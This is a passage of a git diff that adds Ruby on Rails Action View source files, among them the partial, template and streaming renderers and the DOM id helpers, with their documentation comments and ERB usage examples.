+ # a higher logical level.
+ #
+ # # routes
+ # resources :posts
+ #
+ # # view
+ # <%= div_for(post) do %> <div id="post_45" class="post">
+ # <%= post.body %> What a wonderful world!
+ # <% end %> </div>
+ #
+ # # controller
+ # def update
+ # post = Post.find(params[:id])
+ # post.update(params[:post])
+ #
+ # redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
+ # end
+ #
+ # As the example above shows, you can stop caring to a large extent what the actual id of the post is.
+ # You just know that one is being assigned and that the subsequent calls in redirect_to expect that
+ # same naming convention and allows you to write less code if you follow it.
+ module RecordIdentifier
+ extend self
+ extend ModelNaming
+
+ include ModelNaming
+
+ JOIN = '_'.freeze
+ NEW = 'new'.freeze
+
+ # The DOM class convention is to use the singular form of an object or class.
+ #
+ # dom_class(post) # => "post"
+ # dom_class(Person) # => "person"
+ #
+ # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
+ #
+ # dom_class(post, :edit) # => "edit_post"
+ # dom_class(Person, :edit) # => "edit_person"
+ def dom_class(record_or_class, prefix = nil)
+ singular = model_name_from_record_or_class(record_or_class).param_key
+ prefix ? "#{prefix}#{JOIN}#{singular}" : singular
+ end
+
+ # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
+ # If no id is found, prefix with "new_" instead.
+ #
+ # dom_id(Post.find(45)) # => "post_45"
+ # dom_id(Post.new) # => "new_post"
+ #
+ # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
+ #
+ # dom_id(Post.find(45), :edit) # => "edit_post_45"
+ # dom_id(Post.new, :custom) # => "custom_post"
+ def dom_id(record, prefix = nil)
+ if record_id = record_key_for_dom_id(record)
+ "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
+ else
+ dom_class(record, prefix || NEW)
+ end
+ end
+
+ protected
+
+ # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
+ # This can be overwritten to customize the default generated string representation if desired.
+ # If you need to read back a key from a dom_id in order to query for the underlying database record,
+ # you should write a helper like 'person_record_from_dom_id' that will extract the key either based
+ # on the default implementation (which just joins all key attributes with '_') or on your own
+ # overwritten version of the method. By default, this implementation passes the key string through a
+ # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
+ # make sure yourself that your dom ids are valid, in case you overwrite this method.
+ def record_key_for_dom_id(record)
+ key = convert_to_model(record).to_key
+ key ? key.join('_') : key
+ end
+ end
+end
diff --git a/actionview/lib/action_view/renderer/abstract_renderer.rb b/actionview/lib/action_view/renderer/abstract_renderer.rb
new file mode 100644
index 0000000000..1f122f9bc6
--- /dev/null
+++ b/actionview/lib/action_view/renderer/abstract_renderer.rb
@@ -0,0 +1,49 @@
+module ActionView
+ # This class defines the interface for a renderer. Each class that
+ # subclasses +AbstractRenderer+ is used by the base +Renderer+ class to
+ # render a specific type of object.
+ #
+ # The base +Renderer+ class uses its +render+ method to delegate to the
+ # renderers. These currently consist of
+ #
+ # PartialRenderer - Used for rendering partials
+ # TemplateRenderer - Used for rendering other types of templates
+ # StreamingTemplateRenderer - Used for streaming
+ #
+ # Whenever the +render+ method is called on the base +Renderer+ class, a new
+ # renderer object of the correct type is created, and the +render+ method on
+ # that new object is called in turn. This abstracts the setup and rendering
+ # into a separate classes for partials and templates.
+ class AbstractRenderer #:nodoc:
+ delegate :find_template, :template_exists?, :with_fallbacks, :with_layout_format, :formats, :to => :@lookup_context
+
+ def initialize(lookup_context)
+ @lookup_context = lookup_context
+ end
+
+ def render
+ raise NotImplementedError
+ end
+
+ protected
+
+ def extract_details(options)
+ @lookup_context.registered_details.each_with_object({}) do |key, details|
+ value = options[key]
+
+ details[key] = Array(value) if value
+ end
+ end
+
+ def instrument(name, options={})
+ ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield }
+ end
+
+ def prepend_formats(formats)
+ formats = Array(formats)
+ return if formats.empty? || @lookup_context.html_fallback_for_js
+
+ @lookup_context.formats = formats | @lookup_context.formats
+ end
+ end
+end
diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb
new file mode 100644
index 0000000000..f627d5d40c
--- /dev/null
+++ b/actionview/lib/action_view/renderer/partial_renderer.rb
@@ -0,0 +1,540 @@
+require 'thread_safe'
+
+module ActionView
+ class PartialIteration
+ # The number of iterations that will be done by the partial.
+ attr_reader :size
+
+ # The current iteration of the partial.
+ attr_reader :index
+
+ def initialize(size)
+ @size = size
+ @index = 0
+ end
+
+ # Check if this is the first iteration of the partial.
+ def first?
+ index == 0
+ end
+
+ # Check if this is the last iteration of the partial.
+ def last?
+ index == size - 1
+ end
+
+ def iterate! # :nodoc:
+ @index += 1
+ end
+ end
+
+ # = Action View Partials
+ #
+ # There's also a convenience method for rendering sub templates within the current controller that depends on a
+ # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
+ # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
+ # templates that could be rendered on their own.
+ #
+ # In a template for Advertiser#account:
+ #
+ # <%= render partial: "account" %>
+ #
+ # This would render "advertiser/_account.html.erb".
+ #
+ # In another template for Advertiser#buy, we could have:
+ #
+ # <%= render partial: "account", locals: { account: @buyer } %>
+ #
+ # <% @advertisements.each do |ad| %>
+ # <%= render partial: "ad", locals: { ad: ad } %>
+ # <% end %>
+ #
+ # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
+ # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
+ #
+ # == The :as and :object options
+ #
+ # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
+ # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
+ #
+ # <%= render partial: "account", object: @buyer %>
+ #
+ # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
+ # equivalent to:
+ #
+ # <%= render partial: "account", locals: { account: @buyer } %>
+ #
+ # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
+ # wanted it to be +user+ instead of +account+ we'd do:
+ #
+ # <%= render partial: "account", object: @buyer, as: 'user' %>
+ #
+ # This is equivalent to
+ #
+ # <%= render partial: "account", locals: { user: @buyer } %>
+ #
+ # == Rendering a collection of partials
+ #
+ # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
+ # render a sub template for each of the elements. This pattern has been implemented as a single method that
+ # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
+ # example in "Using partials" can be rewritten with a single line:
+ #
+ # <%= render partial: "ad", collection: @advertisements %>
+ #
+ # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
+ # iteration object will automatically be made available to the template with a name of the form
+ # +partial_name_iteration+. The iteration object has knowledge about which index the current object has in
+ # the collection and the total size of the collection. The iteration object also has two convenience methods,
+ # +first?+ and +last?+. In the case of the example above, the template would be fed +ad_iteration+.
+ # For backwards compatibility the +partial_name_counter+ is still present and is mapped to the iteration's
+ # +index+ method.
+ #
+ # The <tt>:as</tt> option may be used when rendering partials.
+ #
+ # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
+ # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
+ #
+ # <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
+ #
+ # If the given <tt>:collection</tt> is nil or empty, <tt>render</tt> will return nil. This will allow you
+ # to specify a text which will displayed instead by using this form:
+ #
+ # <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
+ #
+ # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
+ # just keep domain objects, like Active Records, in there.
+ #
+ # == Rendering shared partials
+ #
+ # Two controllers can share a set of partials and render them like this:
+ #
+ # <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
+ #
+ # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
+ #
+ # == Rendering objects that respond to `to_partial_path`
+ #
+ # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
+ # and pick the proper path by checking `to_partial_path` method.
+ #
+ # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+ # # <%= render partial: "accounts/account", locals: { account: @account} %>
+ # <%= render partial: @account %>
+ #
+ # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+ # # that's why we can replace:
+ # # <%= render partial: "posts/post", collection: @posts %>
+ # <%= render partial: @posts %>
+ #
+ # == Rendering the default case
+ #
+ # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
+ # defaults of render to render partials. Examples:
+ #
+ # # Instead of <%= render partial: "account" %>
+ # <%= render "account" %>
+ #
+ # # Instead of <%= render partial: "account", locals: { account: @buyer } %>
+ # <%= render "account", account: @buyer %>
+ #
+ # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
+ # # <%= render partial: "accounts/account", locals: { account: @account} %>
+ # <%= render @account %>
+ #
+ # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
+ # # that's why we can replace:
+ # # <%= render partial: "posts/post", collection: @posts %>
+ # <%= render @posts %>
+ #
+ # == Rendering partials with layouts
+ #
+ # Partials can have their own layouts applied to them. These layouts are different than the ones that are
+ # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
+ # of users:
+ #
+ # <%# app/views/users/index.html.erb &>
+ # Here's the administrator:
+ # <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
+ #
+ # Here's the editor:
+ # <%= render partial: "user", layout: "editor", locals: { user: editor } %>
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # Name: <%= user.name %>
+ #
+ # <%# app/views/users/_administrator.html.erb &>
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # <%= yield %>
+ # </div>
+ #
+ # <%# app/views/users/_editor.html.erb &>
+ # <div id="editor">
+ # Deadline: <%= user.deadline %>
+ # <%= yield %>
+ # </div>
+ #
+ # ...this will return:
+ #
+ # Here's the administrator:
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # Name: <%= user.name %>
+ # </div>
+ #
+ # Here's the editor:
+ # <div id="editor">
+ # Deadline: <%= user.deadline %>
+ # Name: <%= user.name %>
+ # </div>
+ #
+ # If a collection is given, the layout will be rendered once for each item in
+ # the collection. For example, these two snippets have the same output:
+ #
+ # <%# app/views/users/_user.html.erb %>
+ # Name: <%= user.name %>
+ #
+ # <%# app/views/users/index.html.erb %>
+ # <%# This does not use layouts %>
+ # <ul>
+ # <% users.each do |user| -%>
+ # <li>
+ # <%= render partial: "user", locals: { user: user } %>
+ # </li>
+ # <% end -%>
+ # </ul>
+ #
+ # <%# app/views/users/_li_layout.html.erb %>
+ # <li>
+ # <%= yield %>
+ # </li>
+ #
+ # <%# app/views/users/index.html.erb %>
+ # <ul>
+ # <%= render partial: "user", layout: "li_layout", collection: users %>
+ # </ul>
+ #
+ # Given two users whose names are Alice and Bob, these snippets return:
+ #
+ # <ul>
+ # <li>
+ # Name: Alice
+ # </li>
+ # <li>
+ # Name: Bob
+ # </li>
+ # </ul>
+ #
+ # The current object being rendered, as well as the object_counter, will be
+ # available as local variables inside the layout template under the same names
+ # as available in the partial.
+ #
+ # You can also apply a layout to a block within any template:
+ #
+ # <%# app/views/users/_chief.html.erb &>
+ # <%= render(layout: "administrator", locals: { user: chief }) do %>
+ # Title: <%= chief.title %>
+ # <% end %>
+ #
+ # ...this will return:
+ #
+ # <div id="administrator">
+ # Budget: $<%= user.budget %>
+ # Title: <%= chief.name %>
+ # </div>
+ #
+ # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
+ #
+ # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
+ # an array to layout and treat it as an enumerable.
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # <div class="user">
+ # Budget: $<%= user.budget %>
+ # <%= yield user %>
+ # </div>
+ #
+ # <%# app/views/users/index.html.erb &>
+ # <%= render layout: @users do |user| %>
+ # Title: <%= user.title %>
+ # <% end %>
+ #
+ # This will render the layout for each user and yield to the block, passing the user, each time.
+ #
+ # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
+ #
+ # <%# app/views/users/_user.html.erb &>
+ # <div class="user">
+ # <%= yield user, :header %>
+ # Budget: $<%= user.budget %>
+ # <%= yield user, :footer %>
+ # </div>
+ #
+ # <%# app/views/users/index.html.erb &>
+ # <%= render layout: @users do |user, section| %>
+ # <%- case section when :header -%>
+ # Title: <%= user.title %>
+ # <%- when :footer -%>
+ # Deadline: <%= user.deadline %>
+ # <%- end -%>
+ # <% end %>
+ class PartialRenderer < AbstractRenderer
+ PREFIXED_PARTIAL_NAMES = ThreadSafe::Cache.new do |h, k|
+ h[k] = ThreadSafe::Cache.new
+ end
+
+ def initialize(*)
+ super
+ @context_prefix = @lookup_context.prefixes.first
+ end
+
+ def render(context, options, block)
+ setup(context, options, block)
+ identifier = (@template = find_partial) ? @template.identifier : @path
+
+ @lookup_context.rendered_format ||= begin
+ if @template && @template.formats.present?
+ @template.formats.first
+ else
+ formats.first
+ end
+ end
+
+ if @collection
+ instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
+ render_collection
+ end
+ else
+ instrument(:partial, :identifier => identifier) do
+ render_partial
+ end
+ end
+ end
+
+ private
+
+ def render_collection
+ return nil if @collection.blank?
+
+ if @options.key?(:spacer_template)
+ spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
+ end
+
+ result = @template ? collection_with_template : collection_without_template
+ result.join(spacer).html_safe
+ end
+
+ def render_partial
+ view, locals, block = @view, @locals, @block
+ object, as = @object, @variable
+
+ if !block && (layout = @options[:layout])
+ layout = find_template(layout.to_s, @template_keys)
+ end
+
+ object ||= locals[as]
+ locals[as] = object
+
+ content = @template.render(view, locals) do |*name|
+ view._layout_for(*name, &block)
+ end
+
+ content = layout.render(view, locals){ content } if layout
+ content
+ end
+
+ private
+
+ # Sets up instance variables needed for rendering a partial. This method
+ # finds the options and details and extracts them. The method also contains
+ # logic that handles the type of object passed in as the partial.
+ #
+ # If +options[:partial]+ is a string, then the +@path+ instance variable is
+ # set to that string. Otherwise, the +options[:partial]+ object must
+ # respond to +to_partial_path+ in order to setup the path.
+ def setup(context, options, block)
+ @view = context
+ @options = options
+ @block = block
+
+ @locals = options[:locals] || {}
+ @details = extract_details(options)
+
+ prepend_formats(options[:formats])
+
+ partial = options[:partial]
+
+ if String === partial
+ @has_object = options.key?(:object)
+ @object = options[:object]
+ @collection = collection_from_options
+ @path = partial
+ else
+ @has_object = true
+ @object = partial
+ @collection = collection_from_object || collection_from_options
+
+ if @collection
+ paths = @collection_data = @collection.map { |o| partial_path(o) }
+ @path = paths.uniq.one? ? paths.first : nil
+ else
+ @path = partial_path
+ end
+ end
+
+ if as = options[:as]
+ raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
+ as = as.to_sym
+ end
+
+ if @path
+ @variable, @variable_counter, @variable_iteration = retrieve_variable(@path, as)
+ @template_keys = retrieve_template_keys
+ else
+ paths.map! { |path| retrieve_variable(path, as).unshift(path) }
+ end
+
+ self
+ end
+
+ def collection_from_options
+ if @options.key?(:collection)
+ collection = @options[:collection]
+ collection.respond_to?(:to_ary) ? collection.to_ary : []
+ end
+ end
+
+ def collection_from_object
+ @object.to_ary if @object.respond_to?(:to_ary)
+ end
+
+ def find_partial
+ find_template(@path, @template_keys) if @path
+ end
+
+ def find_template(path, locals)
+ prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
+ @lookup_context.find_template(path, prefixes, true, locals, @details)
+ end
+
+ def collection_with_template
+ view, locals, template = @view, @locals, @template
+ as, counter, iteration = @variable, @variable_counter, @variable_iteration
+
+ if layout = @options[:layout]
+ layout = find_template(layout, @template_keys)
+ end
+
+ partial_iteration = PartialIteration.new(@collection.size)
+ locals[iteration] = partial_iteration
+
+ @collection.map do |object|
+ locals[as] = object
+ locals[counter] = partial_iteration.index
+
+ content = template.render(view, locals)
+ content = layout.render(view, locals) { content } if layout
+ partial_iteration.iterate!
+ content
+ end
+ end
+
+ def collection_without_template
+ view, locals, collection_data = @view, @locals, @collection_data
+ cache = {}
+ keys = @locals.keys
+
+ partial_iteration = PartialIteration.new(@collection.size)
+
+ @collection.map do |object|
+ index = partial_iteration.index
+ path, as, counter, iteration = collection_data[index]
+
+ locals[as] = object
+ locals[counter] = index
+ locals[iteration] = partial_iteration
+
+ template = (cache[path] ||= find_template(path, keys + [as, counter]))
+ content = template.render(view, locals)
+ partial_iteration.iterate!
+ content
+ end
+ end
+
+ # Obtains the path to where the object's partial is located. If the object
+ # responds to +to_partial_path+, then +to_partial_path+ will be called and
+ # will provide the path. If the object does not respond to +to_partial_path+,
+ # then an +ArgumentError+ is raised.
+ #
+ # If +prefix_partial_path_with_controller_namespace+ is true, then this
+ # method will prefix the partial paths with a namespace.
+ def partial_path(object = @object)
+ object = object.to_model if object.respond_to?(:to_model)
+
+ path = if object.respond_to?(:to_partial_path)
+ object.to_partial_path
+ else
+ raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
+ end
+
+ if @view.prefix_partial_path_with_controller_namespace
+ prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
+ else
+ path
+ end
+ end
+
+ def prefixed_partial_names
+ @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
+ end
+
+ def merge_prefix_into_object_path(prefix, object_path)
+ if prefix.include?(?/) && object_path.include?(?/)
+ prefixes = []
+ prefix_array = File.dirname(prefix).split('/')
+ object_path_array = object_path.split('/')[0..-3] # skip model dir & partial
+
+ prefix_array.each_with_index do |dir, index|
+ break if dir == object_path_array[index]
+ prefixes << dir
+ end
+
+ (prefixes << object_path).join("/")
+ else
+ object_path
+ end
+ end
+
+ def retrieve_template_keys
+ keys = @locals.keys
+ keys << @variable if @has_object || @collection
+ if @collection
+ keys << @variable_counter
+ keys << @variable_iteration
+ end
+ keys
+ end
+
+ def retrieve_variable(path, as)
+ variable = as || begin
+ base = path[-1] == "/" ? "" : File.basename(path)
+ raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
+ $1.to_sym
+ end
+ if @collection
+ variable_counter = :"#{variable}_counter"
+ variable_iteration = :"#{variable}_iteration"
+ end
+ [variable, variable_counter, variable_iteration]
+ end
+
+ IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores."
+
+ def raise_invalid_identifier(path)
+ raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
+ end
+ end
+end
diff --git a/actionview/lib/action_view/renderer/renderer.rb b/actionview/lib/action_view/renderer/renderer.rb
new file mode 100644
index 0000000000..964b18337e
--- /dev/null
+++ b/actionview/lib/action_view/renderer/renderer.rb
@@ -0,0 +1,50 @@
+module ActionView
+ # This is the main entry point for rendering. It basically delegates
+ # to other objects like TemplateRenderer and PartialRenderer which
+ # actually renders the template.
+ #
+ # The Renderer will parse the options from the +render+ or +render_body+
+ # method and render a partial or a template based on the options. The
+ # +TemplateRenderer+ and +PartialRenderer+ objects are wrappers which do all
+ # the setup and logic necessary to render a view and a new object is created
+ # each time +render+ is called.
+ class Renderer
+ attr_accessor :lookup_context
+
+ def initialize(lookup_context)
+ @lookup_context = lookup_context
+ end
+
+ # Main render entry point shared by AV and AC.
+ def render(context, options)
+ if options.key?(:partial)
+ render_partial(context, options)
+ else
+ render_template(context, options)
+ end
+ end
+
+ # Render but returns a valid Rack body. If fibers are defined, we return
+ # a streaming body that renders the template piece by piece.
+ #
+ # Note that partials are not supported to be rendered with streaming,
+ # so in such cases, we just wrap them in an array.
+ def render_body(context, options)
+ if options.key?(:partial)
+ [render_partial(context, options)]
+ else
+ StreamingTemplateRenderer.new(@lookup_context).render(context, options)
+ end
+ end
+
+ # Direct accessor to template rendering.
+ def render_template(context, options) #:nodoc:
+ TemplateRenderer.new(@lookup_context).render(context, options)
+ end
+
+ # Direct access to partial rendering.
+ def render_partial(context, options, &block) #:nodoc:
+ PartialRenderer.new(@lookup_context).render(context, options, block)
+ end
+ end
+end
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
new file mode 100644
index 0000000000..3ab2cd36fc
--- /dev/null
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -0,0 +1,103 @@
+require 'fiber'
+
+module ActionView
+ # == TODO
+ #
+ # * Support streaming from child templates, partials and so on.
+ # * Integrate exceptions with exceptron
+ # * Rack::Cache needs to support streaming bodies
+ class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
+ # A valid Rack::Body (i.e. it responds to each).
+ # It is initialized with a block that, when called, starts
+ # rendering the template.
+ class Body #:nodoc:
+ def initialize(&start)
+ @start = start
+ end
+
+ def each(&block)
+ begin
+ @start.call(block)
+ rescue Exception => exception
+ log_error(exception)
+ block.call ActionView::Base.streaming_completion_on_exception
+ end
+ self
+ end
+
+ private
+
+ # This is the same logging logic as in ShowExceptions middleware.
+ # TODO Once "exceptron" is in, refactor this piece to simply re-use exceptron.
+ def log_error(exception) #:nodoc:
+ logger = ActionView::Base.logger
+ return unless logger
+
+ message = "\n#{exception.class} (#{exception.message}):\n"
+ message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+ message << " " << exception.backtrace.join("\n ")
+ logger.fatal("#{message}\n\n")
+ end
+ end
+
+ # For streaming, instead of rendering a given a template, we return a Body
+ # object that responds to each. This object is initialized with a block
+ # that knows how to render the template.
+ def render_template(template, layout_name = nil, locals = {}) #:nodoc:
+ return [super] unless layout_name && template.supports_streaming?
+
+ locals ||= {}
+ layout = layout_name && find_layout(layout_name, locals.keys)
+
+ Body.new do |buffer|
+ delayed_render(buffer, template, layout, @view, locals)
+ end
+ end
+
+ private
+
+ def delayed_render(buffer, template, layout, view, locals)
+ # Wrap the given buffer in the StreamingBuffer and pass it to the
+ # underlying template handler. Now, every time something is concatenated
+ # to the buffer, it is not appended to an array, but streamed straight
+ # to the client.
+ output = ActionView::StreamingBuffer.new(buffer)
+ yielder = lambda { |*name| view._layout_for(*name) }
+
+ instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
+ fiber = Fiber.new do
+ if layout
+ layout.render(view, locals, output, &yielder)
+ else
+ # If you don't have a layout, just render the thing
+ # and concatenate the final result. This is the same
+ # as a layout with just <%= yield %>
+ output.safe_concat view._layout_for
+ end
+ end
+
+ # Set the view flow to support streaming. It will be aware
+ # when to stop rendering the layout because it needs to search
+ # something in the template and vice-versa.
+ view.view_flow = StreamingFlow.new(view, fiber)
+
+ # Yo! Start the fiber!
+ fiber.resume
+
+ # If the fiber is still alive, it means we need something
+ # from the template, so start rendering it. If not, it means
+ # the layout exited without requiring anything from the template.
+ if fiber.alive?
+ content = template.render(view, locals, &yielder)
+
+ # Once rendering the template is done, sets its content in the :layout key.
+ view.view_flow.set(:layout, content)
+
+ # In case the layout continues yielding, we need to resume
+ # the fiber until all yields are handled.
+ fiber.resume while fiber.alive?
+ end
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb
new file mode 100644
index 0000000000..cd21d7ab47
--- /dev/null
+++ b/actionview/lib/action_view/renderer/template_renderer.rb
@@ -0,0 +1,101 @@
+require 'active_support/core_ext/object/try'
+
+module ActionView
+ class TemplateRenderer < AbstractRenderer #:nodoc:
+ def render(context, options)
+ @view = context
+ @details = extract_details(options)
+ template = determine_template(options)
+
+ prepend_formats(template.formats)
+
+ @lookup_context.rendered_format ||= (template.formats.first || formats.first)
+
+ render_template(template, options[:layout], options[:locals])
+ end
+
+ private
+
+ # Determine the template to be rendered using the given options.
+ def determine_template(options)
+ keys = options.has_key?(:locals) ? options[:locals].keys : []
+
+ if options.key?(:body)
+ Template::Text.new(options[:body])
+ elsif options.key?(:text)
+ Template::Text.new(options[:text], formats.first)
+ elsif options.key?(:plain)
+ Template::Text.new(options[:plain])
+ elsif options.key?(:html)
+ Template::HTML.new(options[:html], formats.first)
+ elsif options.key?(:file)
+ with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
+ elsif options.key?(:inline)
+ handler = Template.handler_for_extension(options[:type] || "erb")
+ Template.new(options[:inline], "inline template", handler, :locals => keys)
+ elsif options.key?(:template)
+ if options[:template].respond_to?(:render)
+ options[:template]
+ else
+ find_template(options[:template], options[:prefixes], false, keys, @details)
+ end
+ else
+ raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :text or :body option."
+ end
+ end
+
+ # Renders the given template. A string representing the layout can be
+ # supplied as well.
+ def render_template(template, layout_name = nil, locals = nil) #:nodoc:
+ view, locals = @view, locals || {}
+
+ render_with_layout(layout_name, locals) do |layout|
+ instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
+ template.render(view, locals) { |*name| view._layout_for(*name) }
+ end
+ end
+ end
+
+ def render_with_layout(path, locals) #:nodoc:
+ layout = path && find_layout(path, locals.keys)
+ content = yield(layout)
+
+ if layout
+ view = @view
+ view.view_flow.set(:layout, content)
+ layout.render(view, locals){ |*name| view._layout_for(*name) }
+ else
+ content
+ end
+ end
+
+ # This is the method which actually finds the layout using details in the lookup
+ # context object. If no layout is found, it checks if at least a layout with
+ # the given name exists across all details before raising the error.
+ def find_layout(layout, keys)
+ with_layout_format { resolve_layout(layout, keys) }
+ end
+
+ def resolve_layout(layout, keys)
+ case layout
+ when String
+ begin
+ if layout =~ /^\//
+ with_fallbacks { find_template(layout, nil, false, keys, @details) }
+ else
+ find_template(layout, nil, false, keys, @details)
+ end
+ rescue ActionView::MissingTemplate
+ all_details = @details.merge(:formats => @lookup_context.default_formats)
+ raise unless template_exists?(layout, nil, false, keys, all_details)
+ end
+ when Proc
+ resolve_layout(layout.call, keys)
+ when FalseClass
+ nil
+ else
+ layout
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
new file mode 100644
index 0000000000..abd3b77c67
--- /dev/null
+++ b/actionview/lib/action_view/rendering.rb
@@ -0,0 +1,146 @@
+require "action_view/view_paths"
+
+module ActionView
+ # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
+ # it will trigger the lookup_context and consequently expire the cache.
+ class I18nProxy < ::I18n::Config #:nodoc:
+ attr_reader :original_config, :lookup_context
+
+ def initialize(original_config, lookup_context)
+ original_config = original_config.original_config if original_config.respond_to?(:original_config)
+ @original_config, @lookup_context = original_config, lookup_context
+ end
+
+ def locale
+ @original_config.locale
+ end
+
+ def locale=(value)
+ @lookup_context.locale = value
+ end
+ end
+
+ module Rendering
+ extend ActiveSupport::Concern
+ include ActionView::ViewPaths
+
+ # Overwrite process to setup I18n proxy.
+ def process(*) #:nodoc:
+ old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
+ super
+ ensure
+ I18n.config = old_config
+ end
+
+ module ClassMethods
+ def view_context_class
+ @view_context_class ||= begin
+ supports_path = supports_path?
+ routes = respond_to?(:_routes) && _routes
+ helpers = respond_to?(:_helpers) && _helpers
+
+ Class.new(ActionView::Base) do
+ if routes
+ include routes.url_helpers(supports_path)
+ include routes.mounted_helpers
+ end
+
+ if helpers
+ include helpers
+ end
+ end
+ end
+ end
+ end
+
+ attr_internal_writer :view_context_class
+
+ def view_context_class
+ @_view_context_class ||= self.class.view_context_class
+ end
+
+ # An instance of a view class. The default view class is ActionView::Base
+ #
+ # The view class must have the following methods:
+ # View.new[lookup_context, assigns, controller]
+ # Create a new ActionView instance for a controller and we can also pass the arguments.
+ # View#render(option)
+ # Returns String with the rendered template
+ #
+ # Override this method in a module to change the default behavior.
+ def view_context
+ view_context_class.new(view_renderer, view_assigns, self)
+ end
+
+ # Returns an object that is able to render templates.
+ # :api: private
+ def view_renderer
+ @_view_renderer ||= ActionView::Renderer.new(lookup_context)
+ end
+
+ def render_to_body(options = {})
+ _process_options(options)
+ _render_template(options)
+ end
+
+ def rendered_format
+ Mime[lookup_context.rendered_format]
+ end
+
+ private
+
+ # Find and render a template based on the options given.
+ # :api: private
+ def _render_template(options) #:nodoc:
+ variant = options[:variant]
+
+ lookup_context.rendered_format = nil if options[:formats]
+ lookup_context.variants = variant if variant
+
+ view_renderer.render(view_context, options)
+ end
+
+ # Assign the rendered format to lookup context.
+ def _process_format(format, options = {}) #:nodoc:
+ super
+ lookup_context.formats = [format.to_sym]
+ lookup_context.rendered_format = lookup_context.formats.first
+ end
+
+ # Normalize args by converting render "foo" to render :action => "foo" and
+ # render "foo/bar" to render :template => "foo/bar".
+ # :api: private
+ def _normalize_args(action=nil, options={})
+ options = super(action, options)
+ case action
+ when NilClass
+ when Hash
+ options = action
+ when String, Symbol
+ action = action.to_s
+ key = action.include?(?/) ? :template : :action
+ options[key] = action
+ else
+ options[:partial] = action
+ end
+
+ options
+ end
+
+ # Normalize options.
+ # :api: private
+ def _normalize_options(options)
+ options = super(options)
+ if options[:partial] == true
+ options[:partial] = action_name
+ end
+
+ if (options.keys & [:partial, :file, :template]).empty?
+ options[:prefixes] ||= _prefixes
+ end
+
+ options[:template] ||= (options[:action] || action_name).to_s
+ options
+ end
+ end
+end
diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb
new file mode 100644
index 0000000000..f281333a41
--- /dev/null
+++ b/actionview/lib/action_view/routing_url_for.rb
@@ -0,0 +1,134 @@
+require 'action_dispatch/routing/polymorphic_routes'
+
+module ActionView
+ module RoutingUrlFor
+
+ # Returns the URL for the set of +options+ provided. This takes the
+ # same options as +url_for+ in Action Controller (see the
